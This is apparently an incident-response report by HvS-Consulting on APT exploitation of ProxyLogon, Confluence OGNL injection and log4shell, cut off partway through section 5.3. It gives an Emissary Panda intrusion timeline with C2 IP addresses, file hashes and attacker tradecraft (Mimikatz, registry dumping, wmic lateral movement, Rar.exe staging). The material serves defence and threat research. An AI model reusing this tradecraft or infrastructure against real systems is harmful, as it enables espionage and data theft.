6c39d97e44cef085eae55e89ea966ce47251b96d2b842021685ef347425d2326 707ddb9b4c5bf3a2a7a2c04cb41ebbfb631e0ac6005dbfe586825e0ea86f40bf 75c366e900351f64681f9dffc379f2c7f2d4c7a83ab37d94ea9e61bb8696f86a 79db4a9260d6cfe7b704f4e665a98c9f4ebc5da648926cdd589190ae089c229e 847a5fcc43979cb7bcbac38838ca2d0e219ba55262aea7100dffc4e433d69e7a 8f6c8467d38ff5ee3f3d962efb065099358693910dee6eaf8d9a9db56163e16c 8fd99e69ab51c12a99a6bdd59192807d9b082e25a25d511f8c2296f93b0f8b79 93a05f94a649f56a46a94cc3230003757e9e08905c78080ee56b4f920a40d8c2 984f88df411ff2ee8f6d75a45c0d86b7a17622db5312970f7cdde42fc18517d5 9e5a482663a5d238c41d2a2284239a7c217c568a3dbfd417e71e12a80db2ea0a a624844a5f8a18200ec248814b9e19fc57f2b0e31ca002f3293be72c1c7a5479 a6a548e551c51535faca671f15c3a828d7fc9ce98befddb7c22c378d2bba7ada aafb980a962a96e4c383502788fe960f1e185b9351d91300a72eb03859e4d902 adb2e638d4e53b8bafbded625aaff8e70cc391f30c3a6f469c39b794c7822cbb b30c159531295f7d4594e3620f7ad13537656ca45e4fd617dce5266bac5e14f3 b501a2aa82219c485813a8e50dae14046f22ed7f36a06b5fe6f5b9778d569072 b70151afffe4ad4289c436306ca868b9d839dc9b5d49104ed20fb95465a8068b bd979176dc3e2f094f226889c8b7e520feb1d5f2869a360354baad679f10b7b7 c4097125684bd24aa5b7afa63301d554abf09e33b952ec358a369b3b2ba21556 c432d07480c0881fd60b786500b119c8fb6848e7909863a1fc20a6652cd4c8b8 c59815e52eb12f6e9286235e2ed4b9650bdc3a4eaf7bc78221bd69ee95a2b1f9 d3bbe6999af3d3129f0a2520b26e04bdfa1bf1b19e99f2fb6d5397e4a33cba4a d42fe1956351a858b9d69660da4d54ae1ccffab9af93014cc69bbeef2767b105 d4cc2031f70de07060f84569a2eb2d43b5063da01c8406bf59a17767752da0c8 db32548e62eea0dbd2033d9fe9d4b826a6adf9ad92533d12b430fd0918bcd6d3 db3cd325b38fabd205bb8eb0a143df3e8e244b6265369230097946b4127b57a2 ddfbf0c97aa640d3bc28f8dcf40ae16835e27a376d2bf0c4319ab15feac84dc4 e11849d7e36a9d96aa2a643b54d270d84dccf0d299013a6308861df835ecaca0 e238ce16838f07f5d28fe7261437f340c3dddbc4d1c5b0dfebec6b3458602df7 e2fb0a6ed6fe0ee946bec6eadc1e71f0d3564a8a00e97ec6542e91e642b5b5e3 ea37ef8479c0586e2e60031a97eeba355d13d4682d9bdd8c19cc8a2fd8ef784f eab49dfbdd419adfbc4e987c5704c1f58ffa19780915cb63058f2d4b8d0222bc f06307d3e03e4533257b7d98dcc2d04548299bbe01aa5a01d9c0389899c761e0 faf2c76bd553223dc6d84917ed02b7abf5a88b79a267d5494fd04521e5e6ea4f fba36a40d7e038e493385a5efea1f416d86d9c0804f1961f1b4c28baf0eace28 Contact HvS-Consulting AG Parkring 20 85748 Garching bei Mnchen Germany Phone: 49 89 890 63 62 0 E-Mail: incidentresponsehvs-consulting.de https://www.hvs-consulting.de HvS-Consulting AG Incident Response Report The APT Fallout of Vulner- abilities such as ProxyLogon, OGNL Injection, and log4shell Date: 14.02.2022 Version: 1.0 Classification: TLP-White mailto:incidentresponsehvs-consulting.de https://www.hvs-consulting.de/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 1 of 38 CONTENTS OF THIS REPORT ABSTRACT .......................................................................... 1 THE CHANGING THREAT LANDSCAPE IN 2021 ..... 2 1 Just Another Incident Response investigation? . 2 2 The Major Vulnerabilities in 2021 .......................... 3 3 A Spotlight on the Role of APT Groups .............. 6 4 Lessons Learned from 2021 .................................... 8 INSIGHTS INTO AN EMISSARY PANDA ATTACK . 10 5 Timeline of the Attack .............................................10 5.1 Phase 1: Initial Compromise ......................................... 12 5.2 Phase 2: Persistence ....................................................... 13 5.3 Phase 3: Reaction and Last Data Exfiltration ........... 13 6 Description of Observed TTPs ............................. 14 6.1 Resource Development ................................................. 15 6.2 Initial Access ...................................................................... 15 6.3 Execution ............................................................................ 15 6.4 Persistence ......................................................................... 16 6.5 Privilege Escalation .......................................................... 17 6.6 Defense Evasion ............................................................... 17 6.7 Credential Access ............................................................ 19 6.8 Discovery ............................................................................ 19 6.9 Lateral Movement .......................................................... 20 6.10 Collection .......................................................................... 20 6.11 Command and Control.................................................. 21 7 OSINT analysis of C2 infrastructure ................... 22 8 Malware Analysis of HyperBro............................. 23 8.1 Overview ........................................................................... 23 8.2 PE Loader .......................................................................... 24 8.3 Capabilities ....................................................................... 28 8.4 HyperBro Configuration Extractor ............................. 30 9 Detection of Emissary Pandas activities ............. 31 9.1 Indicators of Compromise (IOCs) ............................... 31 9.2 YARA Rules ....................................................................... 34 9.3 Defender Detection Rules ............................................ 36 THE TWO EMPHASES OF THE REPORT THE CHANGING THREAT LANDSCAPE IN 2021 A summary of our observations of the threat landscape in 2021, the activities of APT groups, and derived recommendations for your cyber security strategy. Start reading on page 2. INSIGHTS OF AN EMISSARY PANDA ATTACK Here you find a lot of technical details like the timeline, TTPs, IOCs of an Emissary Panda attack, including our malware analysis results of their HyperBro malware. Start reading on page 10. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 1 of 38 ABSTRACT ProxyLogon (Hafnium) in Exchange, OGNL injection in Confluence, log4shell in the log4j library. 2021 was rife with critical vulnerabilities. They were exploited by ransomware gangs and hackers for mining crypto currencies. But where have the professional spies, the APT groups been? Did they miss such opportunities and take a vacation from cyber warfare? Surely they didnt. And we have collected evidence. The benefactors of the scatter fire The APT group Emissary Panda (also known as APT27, LuckyMouse) has exploited the Microsoft Exchange vulnerability ProxyLogon, often publicly referred to as Hafnium vulnerability, to carry out targeted industrial espionage. The particularly perfidious aspect of this is that they intentionally acted like ordinary hackers in order not to trigger a comprehensive analysis and remediation. With great success. We analyzed several incidents and found that some customers did not seriously follow up on a ProxyLogon compromise because at first glance it looked like an attack by an occasional attacker. This is how Emissary Panda (APT27) managed to run through the classic APT kill chain and steal trade secrets undetected for months. Our report not only provides background and details on the process, the TTPs and the IOCs, but also initial evidence that the OGNL injection in Confluence was and is also being of interest for targeted industrial espionage. The same applies for log4shell. Strategies for Cyber Security 2022 The effects of the global vulnerabilities from 2021 will only gradually come to light. We have to assume that numerous APT and other compromises by ProxyLogon (Exchange), OGNL injection (Confluence) and log4shell (Log4j) are still undetected. Especially for log4shell, the typical detection period of three to six months has not even been reached yet. In addition, global vulnerabilities will again come to light and be exploited in 2022. Anything else would be close to a miracle. Companies are therefore well advised to prepare for this. We have the following recommendations based on our experience and findings, which are described more in detail in section Lessons Learned from 2021 on page 8. Prediction Subscribe to advisory feeds Asset management rules Take care of your CMDB Take any compromise seriously Protection Patch critical vulnerabilities immediately Create a plan B like BCM Readiness saves time and money Every critical vulnerability is equally important Detection/Response Only pros help against pros The mean time to detect (MTD) must be reduced Thinking outside the box If you want to share just the summary with your management, you will find it also short and concise on our webpage: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27/ https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 2 of 38 THE CHANGING THREAT LANDSCAPE IN 2021 1 Just Another Incident Response investigation? In October 2021, one of our customers was notified by a government agency about suspicious activities on their network. Command and Control (C2) traffic and data exfiltration was allegedly observed. After a quick analysis of the firewall logs, the customer was able to verify the suspicion and realize that the traffic had started several months earlier. As a result, the customer decided to investigate further and ask HvS to conduct a situation assessment. In the first step of the investigation, ten internal systems with C2 traffic were identified and compromise scans of them were performed. These scans proofed a clear compromise of these systems and the presence of HyperBro, a Remote Access Tool (RAT), and other typical attack traces. A comprehensive Incident Response (IR) was then initiated with the goal of analyzing the entire infrastructure to determine the level of compromise, identify the entry vector, uncover the actors tactics, techniques, and procedures (TTPs), assess the impact, and finally plan remediation actions. Up to this point, this case was a normal Advanced Persistent Threat (APT) incident with common TTPs. The case became interesting when we correlated the Indicators of Compromise (IOC) of this incident with the IOCs of our previous incidents. This correlation led to unexpected matches between incidents that at first glance appeared to be unrelated, which is described in more detail in section A Spotlight on the Role of APT Groups. One of the first defensive measures was to deploy an Endpoint Detection and Response (EDR) tool on all endpoints. This was to increase visibility and provide capabilities for containment and response, which later proved to be crucial. While preparing for remediation, the actor began collecting data again, using the domain administrator privileges it had previously gained. This allowed near real-time countermeasures by the IR team, which are described in detail in Phase 3: Reaction and Last Data Exfiltration. These countermeasures bought management the time to decide on a complete cut-off from the Internet until remediation was finished. The collected IOCs from the forensic analyses, OSINT searches, the observed TTPs, and analogies between the RAT and the HyperBro malware pointed to an attribution to the Emissary Panda1 group, which was also consistent with the authorities previous assumption. One of the most interesting facts was the determined entry vector: all identified traces date back exactly to March 04, 2021, the day when the large-scale exploitation of the ProxyLogon vulnerability started. The first system to show C2 traffic was the Exchange server, and within less than an hour, additional systems were affected. While the Exchange Server compromise was detected in March and the system was recovered during that time, the other infected systems were not detected, leaving the door open for the actor. The entire sequence of events leads to the assumption that the exploitation of ProxyLogon in this case was not an opportunistic attack. When asked by the customers top management if they could imagine being on the short list of a Chinese actor, they indicated that they were aware of this risk. 1 https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215 https://attack.mitre.org/groups/G0027/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 3 of 38 2 The Major Vulnerabilities in 2021 As in every year, many vulnerabilities were discovered in 2021, for which vendors released hotfixes, administrators hopefully applied them, and security personnel reviewed infrastructure for successful remediation. Meanwhile, hackers developed exploits and used them to compromise the remaining vulnerable systems and gain an advantage. Business as usual? However, one thing has changed in the last year: The quality of some discovered vulnerabilities was outstanding in terms of the software affected, the ease of exploitation and impact, and the frequency of occurrence was higher than ever before. However, things have also changed on the attackers side: Some of these vulnerabilities were discovered not with good intentions by security researchers. They were searched for in order to use them for attack campaigns. This resulted in exploits being available early and widespread exploitation by various actors, sometimes even before the affected organizations could react. Looking back at 2021, the following vulnerabilities, among others, immediately come to mind: Microsoft Exchange was affected by several security vulnerabilities in 2021, which became very critical mainly due to chaining them in attacks. In March 2021, ProxyLogon2, often publicly referred to as Hafnium, was finally made public, while rumors of targeted exploitation had already existed since November 2020. Immediately following the disclosure, a previously unseen wave of widespread exploitation followed before most organizations could respond and some were not even aware of the vulnerability. During this time, we analyzed 84 Microsoft Exchange instances from various customers with our preferred APT scanner THOR3 and found that 96 of them were scanned for ProxyLogon and in 44 of the cases the vulnerability was also exploited. 2 CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 3 https://www.nextron-systems.com/thor/ Figure 1: Scanning and exploitation of ProxyLogon in Germany. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065 https://www.nextron-systems.com/thor/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 4 of 38 ProxyLogon was just one vulnerability in a whole series of vulnerabilities that put Exchange environments at risk. There were also ProxyOracle, ProxyShell, ProxyToken, and other Remote Code Execution (RCE) vulnerabilities4 with publicly available exploits, as this collection shows: https://github.com/FDlucifer/Proxy-Attackchain. We received some customer requests to analyze compromised Exchange servers, claiming to have fixed the ProxyLogon vulnerability and not being able to explain how this could happen. Remarkably, the attention of administrators, security experts and the trade press decreased from vulnerability to vulnerability - despite vendor advisories, available exploits, and warnings about active abuse. The Exchange issue became annoying, we heard more than once I just cant patch Exchange anymore and reports about it were no longer clickbait. In August 2021, Atlassians Confluence was affected by an easy-to-exploit RCE vulnerability5 due to a OGNL injection. Shortly after the disclosure, ready-to-use exploits were available, and widespread exploitation attempts were observed on the Internet. In this case, many publicly accessible environments were also compromised. In contrast to ProxyLogon, we received comparatively few requests for proactive analysis, but more requests for post-breach analysis. The RCE vulnerability in the widely used Java library log4j6, also known as log4shell, once again generated a lot of attention on the part of defenders and attackers in December 2021. Again, it took only a few hours before the first widespread scans for affected systems and exploitation attempts began. With the previously mentioned vulnerabilities, it was easy to assess whether an organization was affected, and the scope of analysis was limited to individual systems. In the case of log4shell, on the other hand, the effort was higher, and especially the proof of successful exploitation was laborious, as it had to be provided for each system individually7. Since it was close to Christmas and many employees were already on vacation, some organizations decided to fix the vulnerability as part of their regular patch cycle and hope that they would not fall victim to an attack. Even though the number of attacks has decreased in early 2022, we and many other security experts8 believe that there are still many undiscovered vulnerabilities whose impact will only become apparent in the coming months, and that many applications will remain vulnerable for a long time. 4 ProxyOracle: CVE-2021-31196 and CVE-2021-31195 ProxyShell: CVE-2021-34473, CVE-2021-34523 and CVE-2021- 31207 ProxyToken: CVE-2021-33766 another RCE CVE-2021-42321 5 CVE-2021-26084 6 CVE-2021-44228 and CVE-2021-44832 7 https://www.hvs-consulting.de/en/log4j-log4shell-tips-and-guidelines-for-action/ 8 https://news.sophos.com/en-us/2022/01/24/log4shell-no-mass-abuse-but-no-respite-what-happened/ https://github.com/FDlucifer/Proxy-Attackchain https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321 https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html https://nvd.nist.gov/vuln/detail/CVE-2021-44228 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2021-44832 https://www.hvs-consulting.de/en/log4j-log4shell-tips-and-guidelines-for-action/ https://news.sophos.com/en-us/2022/01/24/log4shell-no-mass-abuse-but-no-respite-what-happened/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 5 of 38 Figure 2: Timeline of release, global attention, and breach detection of selected vulnerabilities in 2021. Looking at the various players who were looking for, and in some cases abusing vulnerable systems, four categories can be distinguished based on their motivation and impact: As usual, many security researchers have tried to map the attack surface and/or to warn the affected organizations. Even if they do not compromise systems during scanning, they leave traces. Operators must spend time to figure out the intent of the attack attempt. The largest group were script kiddies and hobbyists who tried to exploit these vulnerabilities for fun or to achieve certain smaller goals like deploying crypto miners or web shells9. Since they usually do not try to move laterally, the impact was limited to the compromised system. The group with the most attention were opportunistic cybercrime gangs, especially ransomware groups, or professional hackers with the goal of sabotaging and extorting organizations or placing backdoors and selling access to companies on the black market. In case of successful ransomware attacks, high financial and business impact was caused. But there is a fourth group, often overlooked, that has benefited from the scatter fire of the previously mentioned attackers: APT groups and advanced hackers. Because their attacks are more targeted, the total number of attacks is lower. The number of unreported cases is also much higher, as the impact is not as obvious to the public as in the case of ransomware. The actual impact through stolen information and intellectual property is also difficult to assess. Since many victims are not aware of the risk of becoming victims of espionage, APT groups are often underestimated as actors. 9 IOCs from a ProxyShell exploitation: https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 6 of 38 3 A Spotlight on the Role of APT Groups Based on the knowledge that APT groups also exploited these vulnerabilities, which is not at all surprising, we conducted more in-depth research and correlated IOCs with related IR engagements. In doing so, we made an interesting observation. ProxyLogon played a special role among last years high-profile vulnerabilities, as it was not only widely abused by APT groups. The more prominent name Hafnium is not derived from the metal, but from the APT group Hafnium. Shortly after the critical vulnerabilities in Microsoft Exchange became public, there were many reports about APT groups actively abusing this flaw: Hafnium10, which is suspected being first in detecting and exploiting those vulnerabilities11: Emissary Panda12, whose activities we describe in more detail in this document. Fancy Bear13, which is known to attack Microsoft Exchange instances for a long time14 and recently new activities in Germany were observed. Tick, Calypso, Websiic, Winnti Group15 and a not precisely specified Iranian government-sponsored APT actor16 and certainly, many groups more. As for the critical RCE in Confluence, the situation seems to be completely different. If you search reports, blogs, and other security feeds, you will mainly find information about abuse to deploy crypto miners. For the time being, we can confirm this observation, as we have also found this behavior in various investigations of compromised Confluence servers. In addition, there are single reports that ransomware groups also occasionally abuse this vulnerability. To our knowledge, there have been several instances where attackers exploited this vulnerability shortly after its disclosure, installed RAT tools, and waited for a highly privileged administrator to log in. Once control over the infrastructure was established, all the victims systems were started to be encrypted. So far, nothing has been found in the public about the connection between APT groups and the use of the OGNL injection vulnerability to gain a foothold in victims infrastructures. During malware analysis of the Emissary Panda incident mentioned earlier, we found an additional C2 IP in the configuration. This IP has never been reported as malicious or abused and appears to be part of Emissary Pandas dedicated infrastructure and not a compromised third-party system. 10 https://attack.mitre.org/groups/G0125/ aka Operation Exchange Marauder 11 https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ 12 https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215 13 https://attack.mitre.org/groups/G0007/ aka APT28, Sofacy, Pawn Storm, Strontium, Tasr Team 14 https://attack.mitre.org/techniques/T1190/ 15 https://cybernews.com/security/10-apt-groups-that-joined-the-ms-exchange-exploitation-party/ 16 https://www.cisa.gov/uscert/ncas/alerts/aa21-321a https://attack.mitre.org/groups/G0125/ https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ https://attack.mitre.org/groups/G0027/ https://attack.mitre.org/groups/G0007/ https://attack.mitre.org/techniques/T1190/ https://cybernews.com/security/10-apt-groups-that-joined-the-ms-exchange-exploitation-party/ https://www.cisa.gov/uscert/ncas/alerts/aa21-321a HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 7 of 38 Thanks to the detailed tracking of all IOCs of our incidents in a MISP17, the correlations between the events were easily identified due to the C2 IP. These events belong to analyses of compromised Confluence servers that were previously performed and revealed crypto miner infections, but no evidence of RATs or lateral movement. In a few analyses, we identified this IP as a node scanning for vulnerable Confluence systems. Knowing that this IP is part of Emissary Pandas infrastructure and was rarely used in their campaigns suggests that Emissary Panda was also scanning for vulnerable Confluence instances. Thus, the tactic of flying under the radar was a complete success. Figure 3: Correlation of a so far unknown Emissary Panda C2 IP to IR engagements of compromised Confluence servers. In contrast, the log4shell vulnerability in log4j received more attention from the security community, IT organizations, and the press - not just the specialist press. But all kinds of attackers were also attracted to this vulnerability. One reason for this could also be that the effort required to identify and mitigate the vulnerability is much higher for the affected organizations, making it more likely for attackers to benefit from exploitation capabilities over a longer period. Reports and alerts were published very quickly18, reminding again to take preventive measures, as almost the same APT groups as ProxyLogon were seen actively exploiting the vulnerability: Hafnium Emissary Panda19 Charming Kitten - an Iranian government-sponsored actor And many groups more Although there have not yet been any incident response deployments where the entry vector has been identified as a log4shell misuse, we expect this to happen within the next few weeks or months, which is still the average time to breach discovery. 17 https://github.com/MISP/MISP 18 https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-and- turkey/ and https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw 19 https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/ https://github.com/MISP/MISP https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-and-turkey/ https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-and-turkey/ https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 8 of 38 4 Lessons Learned from 2021 Looking ahead to 2022 and the following years, we do not assume that there will be fewer critical vulnerabilities and attacks. Rather, the opposite will be the case Therefore, every organization must think about how it is going to deal with the threat situation in the future. Prediction: It becomes more and more important to be in front of the wave This can be achieved by implementing mechanisms that provide early warnings about newly discovered vulnerabilities, remediation actions, and hotfixes. The most reliable source are the manufacturers advisory feeds, since relying on the specific press or warnings from authorities naturally entails a certain time delay and should therefore only be the fallback solution. In order to quickly assess whether and to what extent you are affected by a vulnerability, a good knowledge of your infrastructure and especially the publicly accessible parts - regardless of whether they are on-premises or in a cloud - is crucial, i.e., a well-filled Configuration Management Database (CMDB) / asset management is a must. In addition, it is helpful to be aware of the threat situation, incorporate it into your risk analysis, and plan appropriate countermeasures. While any company can fall victim to opportunistic cybercrime, assessing the likelihood of targeted attacks is more difficult. Despite all the challenges, it is negligent to ignore these risks. Even if protection against targeted attacks is not the primary goal, early implementation of protective measures is an investment in the future, as cybercriminals often mimic the TTPs of APT groups. Protection: Defined processes and workflows for rapid reaction are key In order to be able to act quickly in the event of a newly discovered threat, a coordinated and tested processes must be in place. While normal patch management processes often allow a grace period of a few days or even several weeks before patches must be applied, emergency processes must be in place to react within a few hours in such cases. A patch is not always immediately available or applicable, so a range of containment measures must be prepared, for example in the case of ProxyLogon, which blocks Internet access to Outlook Web App and ActiveSync. The impact on business processes must be considered, and appropriate Business Continuity Management (BCM) plans with decision criteria and authorities must be defined. Especially when critical business services are affected, it is difficult to make the decision between business impact and IT infrastructure compromise without being prepared. Another important aspect is to be able to act at any time. Many vulnerabilities become known shortly before the weekend or during the vacation season. Attackers are distributed all over the world and sometimes specifically wait for such off-peak times. You must be able to react to a changed threat situation at any time - both on the technical and on the management level. As the handling of ProxyOracle, ProxyShell, and to some extent the Confluence vulnerability has shown, the resources of many IT departments were overloaded, which delayed remediation or even led to resignation. As with operational incidents, time reserves must be planned for security incidents, both in the security teams and in IT. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 9 of 38 Not all attackers exploit vulnerabilities immediately, sometimes they wait until the first waves are over and thus the attention dies down. Even if there are no exploits available for every vulnerability or active exploitation has been observed, the reverse conclusion does not apply here that these are less critical. Every high-rated or critical vulnerability must be equally important to you. Detection and response: Be prepared for the next high-profile vulnerability Capabilities are needed to determine appropriate strategies and techniques for detecting potentially compromised assets, identifying exploitation attempts, evaluating whether they have been successful, and recommending next steps or even directly initiating forensic investigations. Such capabilities should be considered sovereign tasks, as the resources of security service providers are also limited. Similar events such as ProxyLogon or log4shell may cause bottlenecks, especially if no contracts have been concluded beforehand. The average time to detection of successful attacks needs to be shortened, as huge spread and damage can occur within a period of three to six months. For opportunistic attacks, the time periods are much shorter, but the past has shown that with a quick and rigorous response, even ransomware attacks can successfully be stopped before encryption begins. If systems have been compromised or suspicions have been raised, a thorough analysis of the level of compromise of the entire environment is critical. At a minimum, the analysis objectives must be Can the known IOCs be detected on other systems? What credentials may have been exposed and has data been exfiltrated? If you underestimate this step, you may miss the chance to get ahead of the attackers and stop them at the beginning of the attack chain, as the following sections show. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 10 of 38 INSIGHTS INTO AN EMISSARY PANDA ATTACK 5 Timeline of the Attack The attack can roughly be divided in three phases. The first phase was the initial compromise and achievement of objectives. The objectives included the privilege escalation and espionage of intellectual property. The second phase was the persistence phase, which lasted for seven months. In the final phase, the attackers changed their persistence strategy from Phase 2 and attempted to exfiltrate data again. This was likely a reaction to a detection of an attack to another company with the same IOCs. Figure 4: Attack Phases The following table describes the timeline of the attack with anonymous hostnames. The timestamps were converted to UTC0. The Attacker column describes which resource (IP, compromised system, etc.) the attacker uses, and the Target column describes the system, which is targeted by the activity. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 11 of 38 Timestamp20 Target Attacker Comment Phase 1 2021-03-04 07:40 EX01 104.168.236.46 C2 communication between Exchange Server and C2 IP address 2021-03-04 08:36 Client01 Drop and execution of HyperBro backdoor on a client system 2021-03-04 08:36 Client01 104.168.236.46 Beginning of C2 communication 2021-03-04 08:39 FS01 Drop and execution of HyperBro backdoor on File server system 2021-03-04 08:39 FS01 Creation of a Windows Service for persistence 2021-03-04 08:39 FS01 104.168.236.46 Beginning of C2 communication 2021-03-04 14:40 FS01 Creation of Rar.exe on FS01 2021-03-07 18:03 APP01 104.168.236.46 First C2 communication of APP01 Phase 2 2021-04-23 15:57 Intranet Drop and execution of HyperBro backdoor on Intranet server 2021-04-23 16:02 APP02 Drop and execution of HyperBro backdoor on Database of APP01 2021-04-23 16:03 APP02 104.168.236.46 First C2 communication of the Database System APP02 2021-08-19 10:30 APP01 87.98.190.184 C2 communication of APP1 Phase 3 2021-10-18 Attacker changed DNS Domain entry to 127.0.0.1 2021-10-18 21:46 APP01 APP02 87.98.190.184 C2 communication of APP01 APP02 2021-10-31 06:31 APP03 87.98.190.184 C2 communication 2021-10-31 18:50 APP04 APP01 Lateral Movement 2021-10-31 18:53 APP04 87.98.190.184 C2 communication 2021-11-09 15:59 FS01 Intranet Reconnaissance with wmic and tasklist 2021-11-09 16:03 FS01 Intranet Remote creation of batch script with wmic 2021-11-09 16:05 FS01 Intranet Remote creation of Rar.exe (WinRar) 2021-11-09 16:06 FS01 Intranet Begin of targeted collection by executing Rar.exe remotely via wmic 2021-11-09 16:09 APP05 Reconnaissance with net.exe 2021-11-09 16:25 FS01 Local execution of Rar.exe 20 All timestamps in this report are given in UTC0 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 12 of 38 Timestamp20 Target Attacker Comment 2021-11-09 16:38 FS01 Creation of first Rar package for exfiltration 2021-11-09 16:48 FS01 APP05 Testing of different credentials in net use command for mounting the IPC share 2021-11-09 16:53 APP02 Execution of Mimikatz 2021-11-09 16:54 APP02 Exports of Registry (SAM, SYSTEM, SECURITY) 2021-11-09 16:58 APP02 Packaging of Registries with Rar.exe 2021-11-09 19:28 FS01 APP02 Another try of targeted collection by executing Rar.exe locally but by specifying remote shares in the command Internet Cutoff and Remediation 5.1 Phase 1: Initial Compromise Figure 5 provides a simplified overview of the attack, the C2 channels, and the compromised systems. Figure 5: Attackers course of action during Phase 1. The first known activity of the attack occurred on 04.03.2021 at 07:40 (UTC0) with the first communication from the Exchange Server (EX01) to a known C2 IP address of the attacker. It is assumed that the initial compromise occurred shortly before this event. Since the first C2 communication originated from the Exchange Server, and the event occurred very close to the first disclosure of the ProxyLogon vulnerability by Microsoft, the initial access vector is assumed to be ProxyLogon. About an hour after the initial compromise, Emissary Panda moved laterally to the file server as well as to a client. On both of these systems the HyperBro backdoor was dropped, as described in Section 8. On the same day, a file with the name Rar.exe was created on the server fileserver. The fact that the fileserver was the first target, and the creation of Rar.exe, support the thesis that the main objective of the attack was espionage of intellectual property. With full access to the fileserver the objectives were fulfilled in the first days of the attack. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 13 of 38 5.2 Phase 2: Persistence After the objectives of initial access and data exfiltration were fulfilled, the next objective of this APT was persistence and remaining undetected (long-term access). These objectives were achieved in Phase 2 of the attack, which lasted from 08.03.2021 to 18.10.2021. During this time, only sparse activity from Emissary Panda was identified. The activity includes regular beaconing to C2 addresses. Furthermore, irregular lateral movement to new systems was identified. This was probably performed to strengthen their persistence and protect their access against system replacements. At least two new systems were compromised during Phase 2. 5.3 Phase 3: Reaction and Last Data Exfiltration In the last phase of the attack, something tipped Emissary Panda of, and they started to change their behavior. Our best guess is that they noticed responsive actions in other attack campaigns using the same C2 infrastructure. Since the first activity in this phase was on 18.10.2021, and our IR Kick-off was in the following week, it is unlikely that we tipped them of at this point in the attack. The last phase of their attack lasted from 18.10.2021 to the forced end of the attack on 09.11.2021. The first reaction was the change of a DNS A record of one of their C2 domains to the IP address 127.0.0.1, which was done before the first response actions of this incident had been performed. Furthermore, they strengthened their foothold in the network by more lateral movement and compromising more critical systems, which is described in Section 6.9. Their last uprising was observed on 09.11.2022. First, they started with reconnaissance by pulling a task list of the File server from the compromised Intranet server (Section 6.8.2). Next, they prepared for data collection by creating Rar.exe (WinRar) remotely on the fileserver. It is unclear why Emissary Panda started testing user credentials after the creation of WinRar, since they were already using a working Domain Admin and the collection of data was running as well. Moreover, the operator of Emissary Panda mixed up the order of username and password, which explains why the credentials did not work. Due to the mix- up, the operators probably thought that their stolen credentials have been revoked. Hence, in the following they tried to steal new credentials by executing Mimikatz and exporting the registry. This chaos in operations leads us to the conclusion that different phases of the attack are executed by teams with different capabilities. The initial compromise, privilege escalation, lateral movement and data exfiltration is probably performed by higher-skilled teams, while later phases of the attack such as maintaining persistence are executed by less skilled teams. The mix-up is described in more technical detail in Section 6.8.1. Meanwhile the IR team had detected the activity and taken first measures to stop the data exfiltration. While the Internet cut-off was being prepared, responders started to disrupt the attackers. In order to stop the collection process, WinRar processes were terminated remotely, and the tools 